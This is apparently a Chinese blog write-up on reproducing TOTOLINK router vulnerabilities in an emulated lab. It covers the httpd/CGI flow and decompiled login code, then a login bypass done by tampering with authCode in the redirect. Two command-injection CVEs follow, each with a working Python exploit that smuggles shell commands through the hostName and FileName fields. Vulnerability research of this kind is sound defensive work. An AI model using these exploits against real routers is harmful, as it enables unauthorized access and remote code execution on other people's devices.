TOTOLINK–webserver与cgi

| 0 | 前言

经过了nepctf的洗礼,感觉自己找回了对二进制安全的热爱

依旧不会web,依旧被拷打…不过已经开始补web的知识了

| 1 | web基础知识

固件包中,常见的二进制文件包括httpd/xxx(.cgi)

httpd用于

  • 维护webserver,监听端口,等待客户端发发送的请求
  • 显示静态页面(资源)
  • 调用后端程序(cgi,php)处理请求
  • 处理HTTP协议细节,如重定向、状态码、缓存控制

cgi用于请求处理的具体实现

httpd会fork出一个子进程用于执行(execve)cgi程序

httpd获取client报文,将不同的字段序列化后传递给cgi

后cgi与httpd通过pipe管道进行数据的交互,最后cgi进程终止并发送终止信号,httpd将响应传回client

1753713078662

报文由客户端(通常是浏览器)发出,接收到httpd的回显后,如果包含重定向信息,浏览器会自动发送请求报文,跳转并访问到重定向的资源.

比如响应数据包为

1
2
3
4
5
6
7
8
9
10
11
HTTP/1.1 302 Found
Content-type: text/plain
Connection: Keep-Alive
Pragma: no-cache
Cache-Control: no-cache
Location: http://192.168.52.134/formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login
Date: Mon, 28 Jul 2025 06:56:34 GMT
Server: lighttpd/1.4.20
Content-Length: 11

protal page

浏览器就会自动发送访问http://192.168.52.134/formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login的请求

POST与GET请求为web中最常见的两种请求方式

其中GET直接通过url传参

1
2
3
4
5
6
GET(请求方式) /path/to/resource(请求资源路径)?key1=value1&key2=value2(请求变量) HTTP/1.1(协议版本)
Host: www.example.com(请求主机域名)
User-Agent: Mozilla/5.0 ...(客户端类型)
Accept: text/html,application/xhtml+xml,...(客户端期望接收到的消息的类型)
[其他请求头]
[空行]

POST则通过请求体传参

1
2
3
4
5
6
7
8
POST /submit-form HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 ...
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
[其他请求头]
[空行]
key1=value1&key2=value2(请求变量)

| 1 | 环境搭建

1
binwalk -e --preserve-symlinks  TOTOLINK_C834FR-1C_NR1800X_IP04469_MT7621A_SPI_16M256M_V9.1.0u.6279_B20210910_ALL.web

  • 搭建qemu环境,将文件系统传入其中
    下载qemu:qemu下载

  • 启动脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    #!/bin/bash
    # TAP接口配置
    TAP_IF="tap0"
    BR_IF="br0"

    # 确保 tap0 存在，并添加进 br0
    sudo ip tuntap add dev $TAP_IF mode tap
    sudo ip link set $TAP_IF up
    sudo brctl addif $BR_IF $TAP_IF
    sudo qemu-system-mipsel \
        -M malta \
        -kernel vmlinux-3.2.0-4-4kc-malta \
        -hda debian_wheezy_mipsel_standard.qcow2 \
        -append "root=/dev/sda1 console=tty0" \
        -net nic,macaddr=00:16:3e:00:00:01 \
        -net tap,ifname=tap0,script=no,downscript=no \
        -nographic

  • 我们观察文件系统,可以发现lighttp/lighttpd.conf中已经配置好了,那我们就可以在挂载后直接启动httpd服务

    1
    2
    3
    mount -o bind /dev ./squashfs-root/dev
    mount -t proc /proc ./squashfs-root/proc
    chroot ./squashfs-root sh

  • 启动服务

    1
    lighttpd -f /lighttp/lighttpd.conf

我们在浏览器中输入qemu的IP,可以发现web服务已经出现,说明环境配置完成

1753715023458

| 2 | 登录密码绕过流程

我们先在brup的内嵌浏览器打开拦截,随便输入一个密码(123),可以看到POST请求为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /cgi-bin/cstecgi.cgi?action=login HTTP/1.1
Host: 192.168.52.134
Content-Length: 27
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://192.168.52.134
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.52.134/login.html
Accept-Encoding: gzip, deflate, br
Cookie: SESSION_ID=2:1753666445:2
Connection: keep-alive

username=admin&password=123

我们将这段报文复制到复发送,发送后查看响应包

1753715385319

可以看到被重定向到http://192.168.52.134/formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login

我们直接点击跟随重定向

可以看到浏览器自动发送了一个如下GET请求

1
2
3
4
5
6
7
8
9
10
11
12
GET /formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login HTTP/1.1
Host: 192.168.52.134
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://192.168.52.134
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.52.134/cgi-bin/cstecgi.cgi?action=login
Accept-Encoding: gzip, deflate, br
Cookie: SESSION_ID=2:1753666445:2
Connection: keep-alive

可以看到访问资源为html,由httpd负责处理,所以我们使用IDA打开httpd,搜索formLoginAuth相关内容

1753715749207

明显通过函数名可以看出这个Form_Login是登录逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
int __fastcall Form_Login(int a1, int a2, int a3)
{
  _DWORD *v6; // $v0
  int authCode; // $s5
  int v8; // $s1
  int v9; // $v0
  const char *v10; // $a1
  int v12; // $s1
  int v13; // [sp+28h] [-A30h] BYREF
  char v14[48]; // [sp+2Ch] [-A2Ch] BYREF
  char v15[64]; // [sp+5Ch] [-9FCh] BYREF
  char v16[80]; // [sp+9Ch] [-9BCh] BYREF
  char v17; // [sp+ECh] [-96Ch] BYREF
  char v18[128]; // [sp+13Ch] [-91Ch] BYREF
  char v19[128]; // [sp+1BCh] [-89Ch] BYREF
  char v20[128]; // [sp+23Ch] [-81Ch] BYREF
  char v21[128]; // [sp+2BCh] [-79Ch] BYREF
  char v22[256]; // [sp+33Ch] [-71Ch] BYREF
  char v23[512]; // [sp+43Ch] [-61Ch] BYREF
  char v24[1028]; // [sp+63Ch] [-41Ch] BYREF
  char *v25; // [sp+A40h] [-18h]
  char *v26; // [sp+A44h] [-14h]
  int *v27; // [sp+A48h] [-10h]
  char *v28; // [sp+A4Ch] [-Ch]
  char *v29; // [sp+A50h] [-8h]
  char *v30; // [sp+A54h] [-4h]

  inet_ntoa(*(_DWORD *)(a1 + 128));
  memset(v19, 0, sizeof(v19));
  memset(v24, 0, 1024);
  memset(v23, 0, sizeof(v23));
  memset(v20, 0, sizeof(v20));
  v25 = v21;
  memset(v21, 0, sizeof(v21));
  memset(v22, 0, sizeof(v22));
  v6 = *(_DWORD **)(a1 + 272);
  v13 = 0;
  strcpy(v22, *v6);
  authCode = 0;
  if ( !buffer_is_empty(*(_DWORD *)(a1 + 328)) )
  {
    strncpy(v24, **(_DWORD **)(a1 + 328), 1023);
    v27 = &v13;
    v29 = &v17;
    v26 = v24;
    v28 = v19;
    v8 = (int)v25;
    v9 = 0;
    v30 = v16;
    while ( 1 )
    {
      v25 = (char *)(v9 + 1);
      if ( getNthValueSafe(v9, v26, 38, v23) == -1 )
        break;
      if ( getNthValueSafe(0, v23, 61, v20) != -1 && getNthValueSafe(1, v23, 61, v8) != -1 )
      {
        if ( strstr(v20, "authCode") )
          authCode = atoi(v8);
        if ( strstr(v20, "userName") )
          strcpy(v30, v8);
        if ( strstr(v20, "password") )
          strcpy(v29, v8);
        if ( strstr(v20, "goURL") )
          strcpy(v28, v8);
        if ( strstr(v20, "flag") )
          strcpy(v27, v8);
      }
      v9 = (int)v25;
    }
  }
  if ( !v19[0] )
  {
    if ( strstr(&v13, "ie8") )
    {
      v10 = "wan_ie.html";
    }
    else if ( atoi(&v13) == 1 )
    {
      v10 = "phone/home.html";
    }
    else
    {
      v10 = "home.html";
    }
    strcpy(v19, v10);
  }
  if ( authCode )
  {
    fbss = 0;
    do
    {
      v12 = time(0);
      if ( !ws_get_cookie(a1, "SESSION_ID", v15, 0) && form_get_idx_by_sessionid(&fl_sess, v12, v15) != -1 )
      {
        sprintf(a2, "http://%s/%s?timestamp=%ld", v22, v19);
        return 1;
      }
      sprintf(v14, "%ld:%d", v12, 2);
      sprintf(v18, "%d:%s", 2, v14);
    }
    while ( form_get_idx_by_sessionid(&fl_sess, v12, v18) != -1 );
    if ( form_add_session(&fl_sess, &fl_sess_bak, -1, v16) )
    {
      ws_set_cookie(a3, "SESSION_ID", v18, 0);
      sprintf(a2, "http://%s/%s?timestamp=%ld", v22, v19);
      return 0;
    }
    ws_clear_cookie(a3, "SESSION_ID", "/");
    fbss = 4;
    if ( !strcmp(&v13, "ie8") )
    {
      sprintf(a2, "http://%s%s", v22, "/login_ie.html");
    }
    else
    {
      if ( atoi(&v13) == 1 )
      {
        sprintf(a2, "http://%s%s%s", v22, "/phone");
        return 0;
      }
      sprintf(a2, "http://%s%s", v22, "/login.html");
    }
    return 0;
  }
  if ( !strcmp(&v13, "ie8") )
  {
    sprintf(a2, "http://%s%s", v22, "/login_ie.html");
  }
  else if ( atoi(&v13) == 1 )
  {
    sprintf(a2, "http://%s%s%s", v22, "/phone");
  }
  else
  {
    sprintf(a2, "http://%s%s", v22, "/login.html");
  }
  return 1;
}

如果authCode不为0,可以获得一个有效的"SESSION_ID",表示登录成功

在cgi的登录行为中,我们可以发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
int __fastcall check_login(int jsonData)
{
  char *loginAuthUrl; // $s5
  int v3; // $a0
  int v4; // $v0
  int v5; // $s2
  char *input_username; // $s2
  char *input_password; // $s5
  char *http_host; // $s3
  char *flag; // $s0
  char *verify; // $v0
  int verifyValue; // $s4
  int wizard_flag; // $s1
  int v13; // $s6
  char *http_username; // $v0
  char *http_passwd; // $v0
  int v16; // $s3
  int v17; // $s3
  BOOL authCode; // $s3
  int v19; // $s1
  int v20; // $v0
  char *v21; // $s0
  char goURL[128]; // [sp+28h] [-1830h] BYREF
  char v24[4096]; // [sp+A8h] [-17B0h] BYREF
  char v25[64]; // [sp+10A8h] [-7B0h] BYREF
  char v26[1024]; // [sp+10E8h] [-770h] BYREF
  char v27[128]; // [sp+14E8h] [-370h] BYREF
  char v28[256]; // [sp+1568h] [-2F0h] BYREF
  char host[256]; // [sp+1668h] [-1F0h] BYREF
  int http_username_cp[8]; // [sp+1768h] [-F0h] BYREF
  char v31; // [sp+1788h] [-D0h]
  int http_passwd_cp[8]; // [sp+178Ch] [-CCh] BYREF
  char v33; // [sp+17ACh] [-ACh]
  int v34[8]; // [sp+17B0h] [-A8h] BYREF
  char urlDecode_password[64]; // [sp+17D0h] [-88h] BYREF
  int v36[16]; // [sp+1810h] [-48h] BYREF
  char *v37; // [sp+1850h] [-8h]
  int tmpCJson; // [sp+1854h] [-4h]

  memset(goURL, 0, sizeof(goURL));
  memset(v24, 0, sizeof(v24));
  memset(v25, 0, sizeof(v25));
  memset(v26, 0, sizeof(v26));
  memset(v27, 0, sizeof(v27));
  memset(v28, 0, sizeof(v28));
  memset(host, 0, sizeof(host));
  http_username_cp[0] = 0;
  http_username_cp[1] = 0;
  http_username_cp[2] = 0;
  http_username_cp[3] = 0;
  http_username_cp[4] = 0;
  http_username_cp[5] = 0;
  http_username_cp[6] = 0;
  http_username_cp[7] = 0;
  v31 = 0;
  http_passwd_cp[0] = 0;
  http_passwd_cp[1] = 0;
  http_passwd_cp[2] = 0;
  http_passwd_cp[3] = 0;
  http_passwd_cp[4] = 0;
  http_passwd_cp[5] = 0;
  http_passwd_cp[6] = 0;
  http_passwd_cp[7] = 0;
  v33 = 0;
  v34[0] = 0;
  v34[1] = 0;
  v34[2] = 0;
  v34[3] = 0;
  v34[4] = 0;
  v34[5] = 0;
  v34[6] = 0;
  v34[7] = 0;
  memset(urlDecode_password, 0, sizeof(urlDecode_password));
  loginAuthUrl = websGetVar(jsonData, "loginAuthUrl", (char *)"");
  tmpCJson = cJSON_CreateObject();
  v3 = 0;
  v37 = v28;
  while ( 1 )
  {
    v5 = v3 + 1;
    if ( getNthValueSafe(v3, loginAuthUrl, "&", v26, 1024) == -1 )
      break;
    if ( getNthValueSafe(0, v26, "=", v27, 128) != -1 && getNthValueSafe(1, v26, "=", v37, 256) != -1 )
    {
      v4 = cJSON_CreateString(v37);
      cJSON_AddItemToObject(tmpCJson, v27, v4);
    }
    v3 = v5;
  }
  input_username = websGetVar(tmpCJson, "username", (char *)"");	// 获取用户输入的账号（默传入的账号为admin）
  input_password = websGetVar(tmpCJson, "password", (char *)"");	// 获取用户输入的密码
  http_host = websGetVar(tmpCJson, "http_host", (char *)"");
  flag = websGetVar(tmpCJson, "flag", (char *)&word_4370EC);
  verify = websGetVar(tmpCJson, "verify", (char *)&word_4370EC);
  verifyValue = atoi(verify);
  wizard_flag = nvram_get_int("wizard_flag");
  if ( wizard_flag )
  {
    v13 = nvram_safe_get("opmode_custom");
    if ( nvram_get_int("ren_qing_style") == 1 )
    {
      wizard_flag = 1;
    }
    else if ( (!strcmp(v13, "gw") || !strcmp(v13, "wisp")) && isWanConnected()
           || !strcmp(v13, "rpt") && get_apcli_connected() == 1
           || !strcmp(v13, "br") && nvram_get_int("dl_status_lan") == 1 )
    {
      wizard_flag = 0;
    }
  }
  urldecode((int)input_password, urlDecode_password);
  http_username = (char *)nvram_safe_get("http_username");			// 获取路由器硬件中的账号
  strcpy((char *)http_username_cp, http_username);
  http_passwd = (char *)nvram_safe_get("http_passwd");				// 获取路由器硬件中的密码
  strcpy((char *)http_passwd_cp, http_passwd);
  if ( *http_host )
    strcpy(host, http_host);
  else
    strcpy(host, (char *)v34);
  if ( verifyValue == 1 )
  {
    v16 = nvram_get_int("verify_code_flag") + 1;
    nvram_set_int_temp("verify_code_flag", v16);
    if ( v16 >= 3 )
    {
      sysinfo(v36);
      sprintf(v25, "%ld", v36[0]);
      nvram_set_temp("tmp_sys_uptime", v25);
    }
    if ( !strcmp(flag, "ie8") )
    {
      strcpy(goURL, "login_ie.html");
    }
    else if ( atoi(flag) == 1 )
    {
      strcpy(goURL, "phone/login.html");
    }
    else
    {
      strcpy(goURL, "login.html");
    }
    goto LABEL_54;
  }
  nvram_set_int_temp("verify_code_flag", 0);
  nvram_set_int_temp("tmp_sys_uptime", 0);
  v17 = strcmp(input_username, http_username_cp);				// 检查输入的username是否正确
  if ( !strcmp(urlDecode_password, http_passwd_cp) )				// 检查输入的password是否正确  
    authCode = v17 != 0;                                                        // 根据检查确定authCode的值
  else
    authCode = 1;
  if ( flag )
    strcpy(input_username, (char *)http_username_cp);	// 若flag未设置，则input_username默认为admin（strcpy）
  if ( !strcmp(input_username, http_username_cp) && !strcmp(urlDecode_password, http_passwd_cp)
    || nvram_get_int("ren_qing_style") == 1 && !*(_BYTE *)nvram_safe_get("http_passwd") )
  {
    if ( !strcmp(flag, "ie8") )
    {
      strcpy(goURL, "wan_ie.html");
    }
    else if ( atoi(flag) == 1 )
    {
      if ( wizard_flag )
        strcpy(goURL, "phone/wizard.html");
      else
        strcpy(goURL, "phone/home.html");
    }
    else if ( wizard_flag )
    {
      strcpy(goURL, "wizard.html");
    }
    else
    {
      strcpy(goURL, "home.html");
    }
    nvram_set_int_temp("cloudupg_checktype", 1);
    doSystem("lktos_reload %s", "cloudupdate_check 2>/dev/null");
    authCode = 1;
  }
  else
  {
    if ( !strcmp(flag, "ie8") )
    {
      strcpy(goURL, "login_ie.html");
    }
    else if ( atoi(flag) == 1 )
    {
      strcpy(goURL, "phone/login.html");
    }
    else
    {
      strcpy(goURL, "login.html");
    }
    if ( authCode )
    {
LABEL_54:
      system("echo ''> /tmp/login_flag");
      authCode = 0;
      goto LABEL_55;
    }
  }
LABEL_55:
  snprintf(v24, 4096, "{\"httpStatus\":\"%s\",\"host\":\"%s\"", "302", host);
  v19 = strlen(v24);
  if ( atoi(flag) == 1 )
  {
    snprintf(
      &v24[v19],
      4096 - v19,
      ",\"redirectURL\":\"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login&flag=1\"}",
      host,
      authCode,
      input_username,
      goURL);
  }
  else if ( !strcmp(flag, "ie8") )
  {
    snprintf(
      &v24[v19],
      4096 - v19,
      ",\"redirectURL\":\"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login&flag=ie8\"}",
      host,
      authCode,
      input_username,
      goURL);
  }
  else
  {                           // 如果登录错误，程序流程走的是该else分支
    snprintf(                 //****************************
      &v24[v19],
      4096 - v19,
      ",\"redirectURL\":\"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login\"}",// 响应包
      host,
      authCode,
      input_username,
      goURL);
  }
  v20 = cJSON_Parse(v24);
  v21 = websGetVar(v20, "redirectURL", (char *)"");
  puts("HTTP/1.1 302 Redirect to page");
  puts("Content-type: text/plain");
  puts("Connection: Keep-Alive\nPragma: no-cache\nCache-Control: no-cache");
  printf("Location: %s\n\n", v21);
  printf("protal page");		// protal page
  return 0;
}

我们可以看到cgi将登录判定(authCode)通过重定向标志传输给httpd服务

但是重定向的数据包我们是可以通过brup进行修改,也就是可以控制传入httpd的authCode值!

如果我们将重定向的url中的authCode字段修改为真,则可以在密码错误的情况下登录

也就是直接访问192.168.52.134/formLoginAuth.htm?authCode=1&action=login

1753716813041

使用brup修改重定向的GET请求,将重定向中的authCode字段修改为1,

1
2
3
4
5
6
7
8
9
10
11
GET /formLoginAuth.htm?authCode=1&userName=&goURL=login.html&action=login HTTP/1.1
Host: 192.168.52.134
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://192.168.52.134
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.52.134/cgi-bin/cstecgi.cgi?action=login
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

此时可以得到一个有效的登录SESSION_ID

1753752291522

| 3 | 漏洞分析

我们在cgi文件中对system/sprintf等危险函数进行搜索,便可以找到几个可能可以控制参数的利用点

CVE-2022-41525

在函数sub_421C98中可以看到

1753752541990

从POST请求中的hostName字段未经过检查,被拼接进入了doSystem

我们沿着调用链向上找,可以找出唯一的调用链

sub_42B9F8–>sub_422F3C–>sub_421C98

但是sub_42B9F8找不到交叉引用,我们还是可以通过objdump/xxd查看它在elf中何处出现这个函数地址

1
2
3
zer00ne@zer00ne:~/Desktop/cve_review/stage2/TOTOLINK/_TOTOLINK_C834FR-1C_NR1800X_IP04469_MT7621A_SPI_16M256M_V9.1.0u.6279_B20210910_ALL.web.extracted/squashfs-root/www/cgi-bin$ xxd ./cstecgi.cgi | grep 'f8b9 42'
0003b150: f8b9 4200 7365 7449 7050 6f72 7446 696c  ..B.setIpPortFil
0003d8e0: 1f00 0000 f8b9 4200 0000 3f80 fcff ffff  ......B...?.....

我们定位回elf中可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
.data:0044B110 aSetopmodecfg:  .ascii "setOpModeCfg"<0>
.data:0044B11D                 .byte    0
.data:0044B11E                 .byte    0
.data:0044B11F                 .byte    0
.data:0044B120                 .byte    0
.data:0044B121                 .byte    0
.data:0044B122                 .byte    0
.data:0044B123                 .byte    0
.data:0044B124                 .byte    0
.data:0044B125                 .byte    0
.data:0044B126                 .byte    0
.data:0044B127                 .byte    0
.data:0044B128                 .byte    0
.data:0044B129                 .byte    0
.data:0044B12A                 .byte    0
.data:0044B12B                 .byte    0
.data:0044B12C                 .byte    0
.data:0044B12D                 .byte    0
.data:0044B12E                 .byte    0
.data:0044B12F                 .byte    0
.data:0044B130                 .byte    0
.data:0044B131                 .byte    0
.data:0044B132                 .byte    0
.data:0044B133                 .byte    0
.data:0044B134                 .byte    0
.data:0044B135                 .byte    0
.data:0044B136                 .byte    0
.data:0044B137                 .byte    0
.data:0044B138                 .byte    0
.data:0044B139                 .byte    0
.data:0044B13A                 .byte    0
.data:0044B13B                 .byte    0
.data:0044B13C                 .byte    0
.data:0044B13D                 .byte    0
.data:0044B13E                 .byte    0
.data:0044B13F                 .byte    0
.data:0044B140                 .byte    0
.data:0044B141                 .byte    0
.data:0044B142                 .byte    0
.data:0044B143                 .byte    0
.data:0044B144                 .byte    0
.data:0044B145                 .byte    0
.data:0044B146                 .byte    0
.data:0044B147                 .byte    0
.data:0044B148                 .byte    0
.data:0044B149                 .byte    0
.data:0044B14A                 .byte    0
.data:0044B14B                 .byte    0
.data:0044B14C                 .byte    0
.data:0044B14D                 .byte    0
.data:0044B14E                 .byte    0
.data:0044B14F                 .byte    0
.data:0044B150                 .word sub_42B9F8

这个函数与一个字符串对应

回到cgi的登录逻辑,我们可以发现登录检查函数与sub_42B9F8相似,也是函数指针与一个字符串对应,且对应的地址还有符号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
.data:0044C034 key:            .ascii "loginAuth"<0>    # DATA XREF: LOAD:004007F4↑o
.data:0044C034                                          # main+6C8↑o ...
.data:0044C03E                 .byte    0
.data:0044C03F                 .byte    0
.data:0044C040                 .byte    0
.data:0044C041                 .byte    0
.data:0044C042                 .byte    0
.data:0044C043                 .byte    0
.data:0044C044                 .byte    0
.data:0044C045                 .byte    0
.data:0044C046                 .byte    0
.data:0044C047                 .byte    0
.data:0044C048                 .byte    0
.data:0044C049                 .byte    0
.data:0044C04A                 .byte    0
.data:0044C04B                 .byte    0
.data:0044C04C                 .byte    0
.data:0044C04D                 .byte    0
.data:0044C04E                 .byte    0
.data:0044C04F                 .byte    0
.data:0044C050                 .byte    0
.data:0044C051                 .byte    0
.data:0044C052                 .byte    0
.data:0044C053                 .byte    0
.data:0044C054                 .byte    0
.data:0044C055                 .byte    0
.data:0044C056                 .byte    0
.data:0044C057                 .byte    0
.data:0044C058                 .byte    0
.data:0044C059                 .byte    0
.data:0044C05A                 .byte    0
.data:0044C05B                 .byte    0
.data:0044C05C                 .byte    0
.data:0044C05D                 .byte    0
.data:0044C05E                 .byte    0
.data:0044C05F                 .byte    0
.data:0044C060                 .byte    0
.data:0044C061                 .byte    0
.data:0044C062                 .byte    0
.data:0044C063                 .byte    0
.data:0044C064                 .byte    0
.data:0044C065                 .byte    0
.data:0044C066                 .byte    0
.data:0044C067                 .byte    0
.data:0044C068                 .byte    0
.data:0044C069                 .byte    0
.data:0044C06A                 .byte    0
.data:0044C06B                 .byte    0
.data:0044C06C                 .byte    0
.data:0044C06D                 .byte    0
.data:0044C06E                 .byte    0
.data:0044C06F                 .byte    0
.data:0044C070                 .byte    0
.data:0044C071                 .byte    0
.data:0044C072                 .byte    0
.data:0044C073                 .byte    0
.data:0044C074 val:            .word check              # DATA XREF: main+6CC↑r

我们查看这个符号在什么地方被引用,可以找到这是在main函数中的一段逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
Var = websGetVar(v17, "topicurl", (int)"");
...
  if ( strstr(Var, "get") )
  {
    func_ptr = off_44A090;
    v24 = &off_44A0D4;
    if ( off_44A090 )
    {
      v25 = 0;
      while ( strncmp(Var, &get_handle_t[68 * v25], 64) )
      {
        ++v25;
        func_ptr = *v24;
        v26 = *v24 != 0;
        v24 += 17;
        if ( !v26 )
          goto LABEL_54;
      }
LABEL_52:
      ((void (__fastcall *)(int))func_ptr)(v17);
    }
  }
  else if ( strstr(Var, "set") )
  {
    func_ptr = off_44B040;
    v27 = &off_44B084;
    if ( off_44B040 )
    {
      v28 = 0;
      while ( strncmp(Var, &set_handle_t[68 * v28], 64) )
      {
        ++v28;
        func_ptr = *v27;
        v26 = *v27 != 0;
        v27 += 17;
        if ( !v26 )
          goto LABEL_54;
      }
      goto LABEL_52;
    }
  }
  else
  {
    if ( !strstr(Var, "del") )
    {
      func_ptr = val;                           // 0x44C074
      if ( !val )
        goto LABEL_54;
      v31 = &off_44C0B8;
      v32 = 0;
      while ( strncmp(Var, &key[68 * v32], 64) )
      {
        ++v32;
        func_ptr = *v31;
        v26 = *v31 != 0;
        v31 += 17;
        if ( !v26 )
          goto LABEL_54;
      }
      goto LABEL_52;                            // call
    }
    func_ptr = off_44BD00;
    v29 = &off_44BD44;                          // 0x44BD44
    if ( off_44BD00 )
    {
      v30 = 0;
      while ( strncmp(Var, &del_handle_t[68 * v30], 64) )
      {
        ++v30;
        func_ptr = *v29;
        v26 = *v29 != 0;
        v29 += 17;
        if ( !v26 )
          goto LABEL_54;
      }
      goto LABEL_52;
    }
  }
...
LABEL_52:
      ((void (__fastcall *)(int))func_ptr)(v17);

这是个根据topicurl的字段,选择调用不同的函数

所以我们要在这里将topicurl字段注入setOpModeCfg便可以调用到sub_42B9F8

1753755389818

之后无论如何都可以调用到sub_422F3C

1753755429607

最后进入sub_421C98,简单逆向分析可以知道,

应该把proto设置为1,2或5

switchOpMode设置为1

hostName设置为';{command};'(绕过单引号),便可以注入命令

EXP

1
2
3
4
5
6
7
8
9
10
11
import requests
url = "http://192.168.52.134/cgi-bin/cstecgi.cgi"
cookie = {"Cookie":"SESSION_ID=2:1753440050:2"}	//绕过登录时获得的有效cookie
data = {
    "topicurl" : "setOpModeCfg",
	"proto" : "5",
    "switchOpMode" : "1",
	"hostName" : "';ls -al /;'"      
}
response = requests.post(url, json=data, cookies=cookie)
print(response.text)

成功RCE

1753755819283

CVE-2022-41518

与上个cve相似,也是一处命令拼接无检查导致RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.data:0044C188 aUploadfirmware:.ascii "UploadFirmwareFile"<0>
.data:0044C19B                 .byte 0
.data:0044C19C                 .word 0
.data:0044C1A0                 .word 0
.data:0044C1A4                 .word 0
.data:0044C1A8                 .word 0
.data:0044C1AC                 .word 0
.data:0044C1B0                 .word 0
.data:0044C1B4                 .word 0
.data:0044C1B8                 .word 0
.data:0044C1BC                 .word 0
.data:0044C1C0                 .word 0
.data:0044C1C4                 .word 0
.data:0044C1C8                 .word sub_42D3B4

1753756045806

没有任何检查,把上个EXP改改就能用

EXP

1
2
3
4
5
6
7
8
9
10
import requests
url = "http://192.168.52.134/cgi-bin/cstecgi.cgi"
cookie = {"Cookie":"SESSION_ID=2:1753752248:2"}
Host = "192.168.52.134"#http://192.168.52.134
data = {
    "topicurl" : "UploadFirmwareFile",
    "FileName" : ";ls -al /;"
}
response = requests.post(url, json=data, cookies=cookie)
print(response.text)

1753756147528

| 4 | 后记–如何快速定位webserver文件

启动脚本

一般/etc/rc.d中S开头的启动脚本脚本,会按S后数字顺序执行的

可以在脚本中找到启动的web服务文件

通过表单搜索

我们知道客户端请求会由webserver传递给cgi处理

那我们就可以先在www目录下寻找任意提交表单

1
2
<form method="POST" ref="loginfrm" @keyup.enter.prevent @keydown.enter.prevent>
var i="/cgi-bin/cstecgi.cgi?action=login"

我们就定位到了后端处理程序cgi

cgi是由httpd在fork后exec调用的,所有httpd中有着对cgi文件的引用

我们在文件系统根目录中搜索所有对cgi文件的引用,一般就可以找到webserver文件

1
grep -r "cstecgi.cgi" .